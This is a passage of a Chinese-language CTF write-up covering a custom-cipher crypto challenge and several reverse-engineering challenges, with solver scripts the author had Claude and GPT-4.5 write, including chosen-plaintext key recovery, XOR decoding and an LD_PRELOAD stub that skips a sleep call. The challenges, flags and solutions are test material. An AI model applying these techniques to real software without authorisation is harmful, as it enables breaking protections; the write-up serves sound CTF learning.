P = [plaintext[i: i + 16] for i in range(0, PS * 16, 16)]
K = expand_key([IV, KEY], PS)
C = []
for i, B in enumerate(P):
C.append(add(B, K[i]))
return b"".join(C)
def main():
encrypted_flag = encrypt(pad(FLAG)).hex()
print(f"Here is your encrypted flag: {encrypted_flag}")
while True:
plaintext = input("encrypt(hex) > ")
plaintext = bytes.fromhex(plaintext)
ciphertext = encrypt(pad(plaintext)).hex()
print(f"ciphertext: {ciphertext}")
if __name__ == '__main__':
main()
```
密碼學 CTF 挑戰解題報告
題目分析
這題是一個自定義加密演算法的密碼學挑戰。首先讓我們分析原始碼，了解加密機制的工作原理。
加密演算法分析
填充機制：
明文會被填充到 16 位元組的倍數
填充值等於需要填充的位元組數量
金鑰擴展：
初始有 IV 和 KEY (都是 16 位元組)
通過 expand_key 函數產生多個區塊金鑰
每個區塊金鑰是通過前兩個金鑰計算出來的
加密過程：
明文被分割成 16 位元組的區塊
每個區塊使用對應的擴展金鑰進行加密
加密函數 add 很簡單：((x + 1) ^ y) & 0xff，其中 x 是明文位元組，y 是金鑰位元組
互動：
程式會給出已加密的 FLAG
然後允許用戶提供明文，並返回相應的密文
觀察加密過程，發現了一個關鍵漏洞：每次加密會使用相同的 IV 和 KEY。這意味著如果我們輸入相同的明文，我們會得到相同的密文。
更重要的是，加密函數 add 是可逆的。如果我們知道明文和對應的密文，我們可以計算出用於加密該區塊的金鑰：
key = ciphertext ^ ((plaintext + 1) & 0xff)
一旦我們有了金鑰，我們就可以解密任何使用相同金鑰加密的數據：
plaintext = ((ciphertext ^ key) - 1) & 0xff
向服務器發送全零的明文 (0x00 * 16 * n)
獲取這個全零明文的密文
使用已知的明文(零)和獲得的密文，計算出每個區塊的金鑰
使用這些金鑰來解密加密的 FLAG
所以我們叫claude寫出
```
#!/usr/bin/python3
import socket
import sys
from binascii import hexlify, unhexlify
# 從伺服器獲得的加密FLAG
encrypted_flag = "a157d75b07909fa4d04b6c0668906fd060c62ae07c4d934765f366e0f003ad0edf227d392f1df8731ee5042ea867b697"
# 將其轉換為字節
encrypted_flag_bytes = unhexlify(encrypted_flag)
# 解密函數 - 給定密文和密鑰，恢復明文
def decrypt(ciphertext, key):
return bytes([((c ^ k) - 1) & 0xff for c, k in zip(ciphertext, key)])
# 從明文和密文恢復密鑰
def recover_key(plaintext, ciphertext):
return bytes([c ^ ((p + 1) & 0xff) for p, c in zip(plaintext, ciphertext)])
# 主函數
def main():
# 計算FLAG有多少個區塊
num_blocks = len(encrypted_flag_bytes) // 16
print(f"FLAG共有 {num_blocks} 個區塊")
# 從伺服器回應中提取的加密結果
ciphertext_hex = "f51f9d1e42edf5f3f41f0d3209b45c9f10aa4d81043ce12622bd23928b53942dae6c1c527a53d1077f8e706fd762b392e216d715e65a9ad3f4b5783ce86fe5fe"
# 檢查並確保十六進制字串長度為偶數
if len(ciphertext_hex) % 2 != 0:
print(f"警告：密文十六進制長度為奇數 ({len(ciphertext_hex)})")
# 如果是奇數，去除最後一個字符
ciphertext_hex = ciphertext_hex[:-1]
print(f"調整後長度: {len(ciphertext_hex)}")
# 轉換為字節
zero_ciphertext = unhexlify(ciphertext_hex)
# 創建與FLAG長度相同的全零明文
zero_plaintext = bytes([0] * (num_blocks * 16))
# 恢復每個區塊的密鑰
keys = []
for i in range(num_blocks):
block_plaintext = zero_plaintext[i*16:(i+1)*16]
# 確保我們不會越界
if (i+1)*16 <= len(zero_ciphertext):
block_ciphertext = zero_ciphertext[i*16:(i+1)*16]
key = recover_key(block_plaintext, block_ciphertext)
keys.append(key)
print(f"區塊 {i+1} 的密鑰: {hexlify(key).decode('utf-8')}")
else:
print(f"警告：密文長度不足，無法處理區塊 {i+1}")
# 使用恢復的密鑰解密FLAG
decrypted_flag = b''
for i in range(min(num_blocks, len(keys))):
flag_block = encrypted_flag_bytes[i*16:(i+1)*16]
decrypted_block = decrypt(flag_block, keys[i])
decrypted_flag += decrypted_block
# 移除填充
try:
padding_value = decrypted_flag[-1]
# 確保填充值有效
if 1 <= padding_value <= 16:
decrypted_flag = decrypted_flag[:-padding_value]
else:
print(f"警告：填充值異常 ({padding_value})，可能沒有正確解密")
except IndexError:
print("無法取得填充值，解密可能不完整")
# 嘗試以不同編碼方式打印FLAG
print("\n嘗試以UTF-8解碼:")
try:
print(f"解密後的FLAG: {decrypted_flag.decode('utf-8')}")
except UnicodeDecodeError:
print("無法以UTF-8解碼，可能包含非ASCII字符")
print("\n以十六進制顯示:")
print(f"解密後的FLAG (十六進制): {hexlify(decrypted_flag).decode('utf-8')}")
print("\n以ASCII顯示 (忽略非可見字符):")
printable = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in decrypted_flag)
print(f"解密後的FLAG (ASCII): {printable}")
if __name__ == '__main__':
main()
```
就有答案啦!
### Proactive Planning
這題都已經解出p q 了
但應該是廣播攻擊
之後試試看!
# Reverse
### 西
唯一一題中文題 很奇怪
首先，我們需要識別每個中文定義的真實含義：
掐 → char（字符類型）
伊恩窺皮特_弗雷格 → enrypted_flag（加密後的旗幟）
等於 → =（賦值運算符）
佛以德 → void（空返回類型）
低窺皮特 → decrypt（解密函數）
哀恩踢 → int（整數類型）
小於 → <（小於運算符）
恩 → n（變量名）
佛 → for（循環語句）
哀 → i（迭代變量）
加加 → ++（自增運算符）
立蘿 → 0（數字零）
欸殼斯偶爾等於 → ^=（異或賦值運算符）
欸服費 → 0xF5（異或密鑰）
面 → main（主函數）
衣服 → if（條件語句）
欸斯踢阿鏈 → strlen（字符串長度函數）
鋪因特欸服 → printf（打印函數）
趴欸斯 → "%s"（字符串格式）
所以程式變成:
```
c#include <stdio.h>
#include <stdint.h>
#include <string.h>
char encrypted_flag[] = "\xa1\xbd\xbf\xb6\xb6\x8e\xa1\x9d\xc4\x86\xaa\xc4\xa6\xaa\x9b\xc5\xa1\xaa\x9a\x97\x93\xa0\xd1\x96\xb5\xa1\xc4\xba\x9b\x88";
void decrypt(int n)
{
for (int i = 0; i < n; i++)
{
encrypted_flag[i] ^= 0xF5;
}
}
int main()
{
if (0) // 這個條件永遠為假！
{
decrypt(strlen(encrypted_flag));
}
printf("%s", encrypted_flag);
}
```
分析代碼後，發現一個重要的陷阱：
程序中有一個解密函數 decrypt，它使用 0xF5 作為密鑰對每個字節進行異或（XOR）操作
但是，這個解密函數被放在了 if (0) 的條件塊中，這意味著解密函數永遠不會被執行！
因此，程序只會輸出仍然處於加密狀態的旗幟
要解決這道題目，我採取以下幾種方法：
修改原始代碼，將 if (0) 改為 if (1)，使解密函數能夠執行
自己編寫解密程序，對加密的旗幟進行異或解密
手動對每個字節進行異或操作
然後叫claude寫
```
// 定義加密後的旗幟字節數組
const encryptedFlag = [
0xa1, 0xbd, 0xbf, 0xb6, 0xb6, 0x8e, 0xa1, 0x9d, 0xc4, 0x86,
0xaa, 0xc4, 0xa6, 0xaa, 0x9b, 0xc5, 0xa1, 0xaa, 0x9a, 0x97,
0x93, 0xa0, 0xd1, 0x96, 0xb5, 0xa1, 0xc4, 0xba, 0x9b, 0x88
];
// 創建一個副本進行處理
const decryptedFlag = [...encryptedFlag];
// 對每個字節應用異或操作(0xF5)
for (let i = 0; i < decryptedFlag.length; i++) {
decryptedFlag[i] ^= 0xF5;
}
// 將解密後的字節轉換為ASCII字符
let flag = '';
for (let i = 0; i < decryptedFlag.length; i++) {
flag += String.fromCharCode(decryptedFlag[i]);
}
console.log("解密後的旗幟:", flag);
```
就有答案啦!
### time_GEM
提供了一個名為"time_GEM"的ELF二進制檔案
首先，我檢查檔案類型以確認它是一個ELF可執行檔：
```
bashfile ~/time_GEM
```
輸出結果：
```
/home/silva/time_GEM: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5372fe23edbb15efc1b0dd94d4ecef4ccce7db7b, for GNU/Linux 3.2.0, not stripped
```
```
strings ~/time_GEM
```
在輸出中發現了一些有趣的字符串：
THJCCISSOGOODIMNOTTHEFLAG!!!
I used the Time GEM to put the flag to sleep...
Hope you can wake it up!
------------------------------splitline!-----------------------------------
這些字符串提供了關鍵提示：程序似乎使用了某種與"Time GEM"和"sleep"相關的機制來隱藏flag。
我直接執行程序以查看其行為：
bash~/time_GEM
輸出：
I used the Time GEM to put the flag to sleep...
Hope you can wake it up!
------------------------------splitline!-----------------------------------
T
程序顯示了提示信息，然後在分隔線後面只輸出了一個字符"T"就停止了。這暗示著flag可能被一個接一個地慢慢輸出，但中間有延遲。
為了更深入理解程序行為，我使用strace跟踪系統調用：
```
bashstrace ~/time_GEM
```
在輸出的最後部分中發現了關鍵信息：
```
write(1, "T\n", 2T
) = 2
clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=4919, tv_nsec=0},
```
這裡揭示了問題所在：程序在輸出字符"T"之後調用了clock_nanosleep函數，設置了一個非常長的睡眠時間（4919秒，約82分鐘）。這解釋了為什麼我們只看到flag的第一個字符。
既然我們知道程序使用clock_nanosleep函數來延遲flag的顯示，我們可以通過覆蓋這個函數來解決問題。
在Linux中，我們可以使用LD_PRELOAD技術來覆蓋共享庫中的函數。：
創建一個C文件（nosleep.c），定義自己的sleep和clock_nanosleep函數：
```
c#include <time.h>
unsigned int sleep(unsigned int seconds) {
return 0;
}
int clock_nanosleep(clockid_t clockid, int flags, const struct timespec *request, struct timespec *remain) {
return 0;
}
```
為了更確切地確認flag的格式，我們可以將輸出重定向到文件並使用十六進制編輯器檢查：
```
bashLD_PRELOAD=./nosleep.so ~/time_GEM > flag.txt
hexdump -C flag.txt
```
十六進制輸出確認了flag的每個字符之間都有換行符（0x0A）。
提取最終flag
將輸出的字符連接起來，得到最終的flag：
THJCC{H0w_I_enVY_4Nd_W15H_re4L17Y_k0uLd_4L50_k0N7R0l_TIME-->=.=!!!}
### Python Hunter 🐍
我們拿到了一個 Python 編譯文件 hunter.cpython-38.pyc。
首先，需要將 .pyc 文件反編譯回可讀的 Python 源代碼。使用 decompyle3 工具成功反編譯：
```
decompyle3 hunter.cpython-38.pyc > hunter.py
```
反編譯後得到以下 Python 代碼：
```
pythonimport sys as s
def qwe(abc, xyz):
r = []
l = len(xyz)
for i in range(len(abc)):
t = chr(abc[i] ^ ord(xyz[i % l]))
r.append(t)
return "".join(r)
d = [48, 39, 37, 49, 28, 16, 82, 17, 87, 13, 92, 71, 104, 52, 21, 0, 83, 7, 95, 28, 55, 30, 11, 78, 87, 29, 18]
k = "door_key"
m = "not_a_key"
def asd(p):
u = 42
v = qwe(d, k)
w = qwe(d, p)
if w == v:
print(f"Correct! {v}")
else:
print("Wrong!")
def dummy():
return len(d) * 2 - 1
if __name__ == "__main__":
if len(s.argv) > 1:
asd(s.argv[1])
else:
print("Please provide a key as an argument.")
dummy()
```
分析代碼發現：
qwe() 函數對輸入的兩個參數執行 XOR 運算
asd() 函數檢查用戶提供的輸入 p 與固定的 k ("door_key") 是否經過 qwe() 函數處理後得到相同的結果
如果結果相同，程序會輸出 "Correct!" 和計算結果
關鍵邏輯在 asd() 函數中：
```
pythonv = qwe(d, k) # 使用 "door_key" 計算結果
w = qwe(d, p) # 使用用戶輸入計算結果
if w == v: # 比較兩個結果
```
表面上看，只有輸入 "door_key" 才能得到正確結果。但由於 XOR 運算的特性和 qwe() 函數的實現方式（循環使用 key），實際上可能存在其他輸入也能產生相同的結果。
注意到 qwe() 函數對 key 進行循環使用：xyz[i % l]，這意味著如果我們找到了一個不同於 "door_key" 但能產生相同結果的字符串，那麼這個字符串就是我們要找的 flag。
XOR 運算具有以下特性：如果 a ^ b = c，那麼 a ^ c = b。我們可以利用這個特性，從已知的 d 和期望的結果反向計算可能的 key。
最後叫claude寫
```
pythond = [48, 39, 37, 49, 28, 16, 82, 17, 87, 13, 92, 71, 104, 52, 21, 0, 83, 7, 95, 28, 55, 30, 11, 78, 87, 29, 18]
k = "door_key"
def qwe(abc, xyz):
r = []
l = len(xyz)
for i in range(len(abc)):
t = chr(abc[i] ^ ord(xyz[i % l]))
r.append(t)
return "".join(r)
# 計算預期結果
expected_result = qwe(d, k)
print(f"目標結果: {expected_result}")
# 嘗試不同長度的替代 key
def find_key(d, result, key_length):
potential_key = [''] * key_length
for i in range(len(d)):
j = i % key_length
char_value = d[i] ^ ord(result[i])
if not potential_key[j]:
potential_key[j] = chr(char_value)
elif ord(potential_key[j]) != char_value:
return None
return ''.join(potential_key)
# 嘗試不同長度的 key
for length in range(1, 9):
potential_key = find_key(d, expected_result, length)
if potential_key and potential_key != k:
print(f"找到替代 key (長度 {length}): {potential_key}")
test_result = qwe(d, potential_key)
if test_result == expected_result:
print(f"驗證成功! 這個 key 可以產生相同的結果")
print(f"Flag: {expected_result}")
```
就有答案啦!!!
### Flag Checker
打開 chal5 binary，載入至 IDA Free 或 Ghidra 等逆向工具中，觀察 main 函數後得知，這是一個 輸入檢查型的 reverse 題目。
程式提示 flag > 並讀入一段最多 255 字元的輸入。
針對每個字元進行加密處理：
```
s[i] = ((s[i] << (i % 8)) | (s[i] >> ((-i) % 8))) ^ 0x0F;
```
最後調用 sub_11C9 進行輸入字串的驗證，若成功則印出 "Correct!"，否則輸出 "Wrong!"。
進一步觀察 sub_11C9 函數，其邏輯如下：
每 3 個字元一組，使用 3 個條件交叉驗證：
```
s[i] + s[i+1] == data[i]
s[i+1] + s[i+2] == data[i+1]
s[i] + s[i+2] == data[i+2]
```
若不滿足則直接 return 0，整體驗證迴圈如下：
```
for (int i = 0; i <= 0x20; i += 3) {
if (s[i] + s[i+1] != data[i]) return 0;
if (s[i+1] + s[i+2] != data[i+1]) return 0;
if (s[i] + s[i+2] != data[i+2]) return 0;
}
return 1;
```
找到內部驗證用的資料 unk_4020
使用 objdump 將 .data 區段導出：
```
objdump -s -j .data chal5 | grep -A20 4020
```
取得的整數資料為：
```
data = [
0xfa, 0xc5, 0x81, 0x50, 0x9b, 0x75, 0x72, 0x6d,
0xa5, 0xb5, 0x100, 0xd1, 0x171, 0x1c1, 0x160, 0x13b,
0x163, 0x1a2, 0xf7, 0x167, 0x184, 0x155, 0x174, 0x121,
0xd1, 0x8d, 0x80, 0x181, 0x174, 0x1dd, 0x50, 0x0, 0x50
]
```
根據方程式組：
```
a = (x1 + x3 - x2) // 2
b = x1 - a
c = x3 - a
```
用這個方式可以從 unk_4020 還原加密後的字元陣列。
逆轉加密邏輯取得原始字元
由於每個字元都經過以下加密：
```
s[i] = ((c << (i % 8)) | (c >> ((-i) % 8))) ^ 0x0F;
```
我們反過來用爆破法還原原始字元。
所以這次不用claude 我們叫gpt4.5
解法:
```
data = [
0xfa, 0xc5, 0x81, 0x50, 0x9b, 0x75, 0x72, 0x6d,
0xa5, 0xb5, 0x100, 0xd1, 0x171, 0x1c1, 0x160, 0x13b,
0x163, 0x1a2, 0xf7, 0x167, 0x184, 0x155, 0x174, 0x121,
0xd1, 0x8d, 0x80, 0x181, 0x174, 0x1dd, 0x50, 0x0, 0x50
]
# Step 1: 還原加密後的字元
encrypted_flag = []
for i in range(0, len(data), 3):
a = (data[i] + data[i+2] - data[i+1]) // 2
b = data[i] - a
c = data[i+2] - a
encrypted_flag += [a, b, c]
# Step 2: 還原加密前原始字元
def decrypt_char(enc, i):
enc ^= 0x0F
shift_left = i % 8
shift_right = (-i) % 8
for c in range(256):
if ((c << shift_left) | (c >> shift_right)) & 0xFF == enc:
return c
return ord('?')
flag = ''.join(chr(decrypt_char(encrypted_flag[i], i)) for i in range(len(encrypted_flag)))
print("✅ Flag:", flag)
```
然後就有flag啦
### Noo dle
使用 reverse 工具（IDA）觀察主加密函數 encrypt：
```
void encrypt(uint8_t* input, uint8_t* output, int length);
```
整個加密過程可拆成三部分：
expand（解壓 bit）
多次 swap（block permutation）
compress（壓縮 bit 成 byte）
解密流程
Step 1: expand
將 input 進行 bit 展開：
將每個 input byte 解為 8 個 bit（共 length × 8 bits）
存入一個 workspace buffer
程式碼中實現如下：
```
bit = (input[byte_index] >> (7 - (i % 8))) & 1;
workspace[i] = bit;
```
Step 2: 8-bit Block Swap
對 workspace 以 8 為一組進行以下 4 次 swap：
```
swap(i+7, i)
swap(i+4, i+1)
swap(i+5, i+2)
swap(i+6, i+3)
```
這相當於對每個 8-bit block 做了固定 permutation：
```
原始 bit 順序：
[0,1,2,3,4,5,6,7]
加密後順序：
[7,4,5,6,1,2,3,0]
```
Step 3: compress
再把混淆後的 workspace bits 壓成密文 bytes：
```
for (i = 0; i < len; i++) {
output[(i + 7)/8] |= workspace[i] << (7 - (i % 8));
}
```
我們根據以上分析反推出正確的解密流程：
expand_correct：將密文解為 bit stream
undo_permute：每 8 bits 還原成原始順序
bits_to_bytes：每 8 bits 還原為 ASCII 字元
所以叫gpt4.5寫出
```
def expand_correct(ciphertext: bytes, bit_len: int) -> list:
bits = []
for i in range(bit_len):
byte_index = i // 8
shift = 7 - (i % 8)
bit = (ciphertext[byte_index] >> shift) & 1
bits.append(bit)
return bits
def undo_permute(bits: list) -> list:
# 原加密順序: [7,4,5,6,1,2,3,0]
# 解密時還原成 [0,1,2,3,4,5,6,7]
result = []
for i in range(0, len(bits), 8):
block = bits[i:i+8]
if len(block) < 8:
break
original = [0] * 8
for idx, src in enumerate([7,4,5,6,1,2,3,0]):
original[src] = block[idx]
result.extend(original)
return result
def bits_to_bytes(bits: list) -> bytes:
out = bytearray()
for i in range(0, len(bits), 8):
byte = 0
for j in range(8):
if i + j < len(bits):
byte = (byte << 1) | bits[i + j]
out.append(byte)
return bytes(out)
# 解密主流程
cipher_hex = "2a48589898decafcaefa98087cfa58ae9e2afa1c1aaa2e96fa38061a9ca8fa182ebeee"
cipher_bytes = bytes.fromhex(cipher_hex)
bit_len = len(cipher_bytes) * 8
bits = expand_correct(cipher_bytes, bit_len)
bits = undo_permute(bits)
plaintext = bits_to_bytes(bits)
print(plaintext.decode())
```
就有答案啦!!
### Empty
### Demon Summoning
改天解開再寫
# Insane
### iCloud☁️
### lIne
### F&S Farm
聽說是曲線同構 有點興趣
### NAUPMD v0.0.0 📒📕
### MyGame
可是這次一題insane都沒解出來
# Feedback
### Feedback
提交表單後會拿到一串東西
拿去base64解碼會拿到網址
輸入後回得到一張圖片
Sign in with Wallet
Connect another wallet